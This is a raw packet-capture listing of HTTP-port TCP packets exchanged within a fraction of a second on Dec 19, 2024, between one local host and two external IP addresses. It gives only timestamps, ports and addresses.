Dec 19, 2024 08:09:32.015273094 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.015420914 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.015471935 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.015481949 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.015522003 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.016243935 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.016356945 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.016627073 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.017307997 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.017400980 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.017431021 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.017518997 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.017554998 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.017568111 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.017576933 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.018203974 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.018404961 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.018461943 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.018471956 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.018506050 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.018657923 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.019516945 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.019619942 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.019712925 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.020598888 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.020710945 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.020781040 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.021687031 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.021815062 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.022340059 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.022758961 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.022833109 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.022872925 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.023858070 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.023962021 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.023971081 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.024388075 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.024945974 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.025046110 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.025162935 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.026046991 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.026196957 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.026905060 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.027174950 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.027276039 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.027393103 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.027951002 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.028100967 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.028192043 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.028214931 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.028316975 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.028446913 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.028673887 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.029339075 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.029375076 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.029623985 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.030421972 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.030545950 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.030556917 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.030997992 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.031507969 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.031626940 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.032309055 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.032603025 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.032704115 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.033101082 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.033691883 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.033844948 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.033873081 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.034105062 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.034826040 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.035032034 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.035103083 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.035136938 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.035137892 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.035470009 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.035832882 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.035902977 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.035938978 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.035974026 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.036010027 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.036319971 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.036983967 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.037094116 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.037122965 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.037174940 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.037266970 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.037364960 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.037807941 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.037903070 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.038029909 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.038069963 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.038158894 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.038650036 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.039156914 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.039253950 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.039304018 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.039335012 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.039352894 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.039561033 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.040235043 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.040337086 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.040344000 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.040591955 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.040761948 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.040888071 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.041172981 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.041340113 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.041451931 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.041485071 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.041662931 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.042247057 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.042355061 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.042447090 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.042483091 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.042515993 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.042526007 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.042625904 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.043536901 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.043656111 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.043675900 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.043728113 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.043755054 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.043762922 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.044110060 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.044601917 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.044724941 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.045074940 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.045244932 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.045381069 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.045536041 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.045696974 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.045835018 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.045866966 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.046664953 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.046693087 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.046811104 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.046845913 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.046879053 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.046928883 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.046937943 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.047882080 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.048048973 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.048124075 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.048173904 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.048207998 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.048269987 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.048280001 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.048970938 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.049069881 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.049180031 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.049545050 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.049638987 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.049746037 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.050055981 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.050112963 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.050121069 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.050157070 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.050215006 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.051136971 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.051189899 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.051229000 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.051268101 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.051311016 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.051326990 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.051399946 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.052301884 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.052417994 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.052450895 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.052506924 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.052607059 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.052658081 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.052998066 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.053339958 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.053467989 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.053726912 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.054069042 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.054167032 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.054431915 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.054490089 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.054498911 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.054565907 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.055299044 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.055566072 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.055617094 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.055650949 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.055651903 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.055671930 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.055718899 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.055811882 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.056663990 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.056765079 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.057729006 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.057760954 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.057823896 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.058799028 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.058819056 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.058907032 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.059427023 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.059911013 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.060120106 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.060179949 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.061016083 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.061120033 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.061152935 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.062105894 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.062199116 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.062233925 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.063205957 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.063241959 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.063263893 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.066827059 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.141146898 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.141165018 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.141464949 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.141518116 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.141603947 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.142988920 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.143043041 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.143062115 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.143249989 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.144234896 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.144376040 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.144450903 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.145618916 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.145740986 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.145829916 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.147166014 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.147258997 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.147320032 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.148593903 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.148607016 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.148753881 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.172190905 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.172286034 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.172435999 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.172904968 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.198883057 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.198915005 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.199213982 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.199405909 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.199405909 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.200372934 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.200423956 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.200455904 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.200526953 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.201404095 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.201574087 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.201605082 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.202533960 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.202626944 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.202661037 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.202853918 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.203577042 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.203720093 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.203733921 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.203857899 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.204690933 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.204785109 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.204788923 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.205043077 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.205770016 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.205883980 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.206079006 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.206859112 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.206996918 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.207266092 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.207952023 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.208019972 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.208055973 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.208120108 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.209028006 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.209096909 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.209162951 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.209352970 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.210164070 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.210259914 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.210472107 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.211224079 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.211303949 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.211369038 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.211520910 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.212299109 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.212421894 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.212450981 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.213215113 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.213396072 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.213515997 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.213546038 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.213634968 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.214495897 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.214627981 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.214632988 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.214729071 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.215620995 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.215787888 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.215871096 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.215955019 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.216655016 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.216785908 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.216809034 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.216893911 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.217772007 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.217886925 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.218012094 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.218878031 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.218988895 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.219261885 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.220035076 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.220138073 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.220154047 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.220211983 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.221093893 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.221180916 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.221210957 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.221236944 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.222130060 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.222244024 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.222440004 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.223246098 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.223355055 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.223359108 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.223426104 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.224323034 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.224447012 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.224459887 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.224505901 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.225436926 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.225539923 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.225562096 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.225606918 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.226522923 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.226624966 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.226679087 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.226679087 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.227632999 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.227677107 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.227706909 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.227737904 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.227812052 CET	49858	80	192.168.2.6	31.41.244.11
